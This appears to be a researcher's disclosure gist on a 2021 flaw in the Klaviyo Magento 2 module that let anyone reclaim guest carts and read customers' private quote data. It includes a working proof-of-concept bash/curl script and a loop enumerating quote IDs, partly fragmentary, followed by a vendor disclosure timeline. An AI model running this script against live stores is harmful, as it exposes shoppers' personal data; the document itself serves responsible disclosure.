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Klaviyo - Magento 2 private data leakage

Klaviyo read customer quotes for guest carts

April 28th I've found a endpoint in a thirth party module Klaviyo Magento 2 which allows to read private customer data from stores. It works by reclaiming any guest-cart as your own and reading the private data for the orders in the Magento API.



A link to the working POC:

Find last quote id

  • In the browser open target.
  • Add something to the cart, goto checkout
  • execute: fetch('/rest/V1/guest-carts/' + checkoutConfig.quoteData.entity_id).then(x => x.json()).then(j => console.log(j)) (this will print the last quoteId)

run exploit

  • ./ BASE_URL QUOTE_ID -> check if everything is set
  • ./ BASE_URL QUOTE_ID SESSION_ID -> re-use session id
  • ./ BASE_URL QUOTE_ID -> use for pipe to jq


  • export USER_AGENT= use any user agent
  • export BASE_URL= for the lazy typers, BASE_URL can be ommited



while [ $quoteId -gt 0 ]; do ./silence ${quoteId} | jq .; quote_id=$[ ${quoteId} - 1 ]; sleep 3; done
# it's advisable to re-use the sessions, otherwise you maybe flooding the server with sessions


  • automaticly create a quote to find last id to search for
USER_AGENT=${USER_AGENT:'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36'};
if [ -z "${BASE_URL}" ]; then
if [ -z "${BASE_URL}" ]; then
echo 'Set BASE_URL or provide as first param';
exit 1;
if [ $# -lt 1 ] || [ ${quoteId} -lt 1 ]; then
echo 'Provide quote id as param';
exit 1;
# Create session
if [ -z "${session}" ]; then
echo "Create a session on ${BASE_URL}customer/section/load/" >&2;
session=`curl -vk ${BASE_URL}customer/section/load/ -A "${USER_AGENT}" 2>&1 | grep PHPSESSID | sed -s 's/\(^.*PHPSESSID=\|; .*$\)//g'`
if [ -z "${session}" ]; then
echo "- failed" >&2;
exit 1;
echo "- success ${session}" >&2;
# Try to restore a cart
echo "Reclaim quote ${quoteId} ${BASE_URL}reclaim/checkout/cart/ POST quote_id=${quoteId}" >&2;
curl -skd 'quote_id='${quoteId} -H 'X-Requested-With: XMLHttpRequest' ${BASE_URL}/reclaim/checkout/cart/ --cookie 'PHPSESSID='${session} -A "${USER_AGENT}" >/dev/null;
# Grab maskedId
echo "Get masked quote id from ${BASE_URL}checkout/" >&2;
maskedId=`curl -k ${BASE_URL}'checkout/' --cookie 'PHPSESSID='${session} -A "${USER_AGENT}" 2>/dev/null | grep '"quoteData":{"' | sed -s 's/^.*quoteData":{"entity_id":"\([^"]*\)".*$/\1/'`;
if [ -z "${maskedId}" ]; then
echo "- failed" >&2;
exit 2;
echo "- success ${maskedId}" >&2;
echo "Get latest cart data ${BASE_URL}rest/V1/quest-carts/"${maskedId} >&2;
curl -k ${BASE_URL}'rest/V1/guest-carts/'${maskedId} -A "${USER_AGENT}";
./ "$@" 2>/dev/null;
  • April 28 2021: Found issue and crafted POC
  • April 28 2021: Requested known Klaviyo employee howto report this security issue
  • April 30 2021: Created responsible disclosure report and further worked out vulnerability
  • May 6 2021: Got contact details
  • May 6 2021: Shared report with Klaviyo
  • May 14 2021: Feedback they're going to discuss this on May 17 with the product team, internal issue is created, no timeline yet
  • May 15 2021: Communicated this gist and notified them I will create PR's for Sansec Magevulndb and Roave Security Advisories on May 21th
  • May 17 2021: Response that it has priority and they're investigating - no timeline yet
  • May 18 2021: Did a suggestion if maskedId was not possible
  • May 18 2021: No notice, but MR klaviyo/magento2-klaviyo#107 was opened with a proper maskedId implementation
  • May 21 2021: Asked for an update, notified I would hold back till MR was merged into master
  • May 24 2021: Klaviyo informed their customers on the matter, asking them kindly to upgrade
  • May 25 2021: Merged klaviyo/magento2-klaviyo#107 into master 👍
  • May 25 2021: Creating MR's for Sansec and Roave <3.0.0
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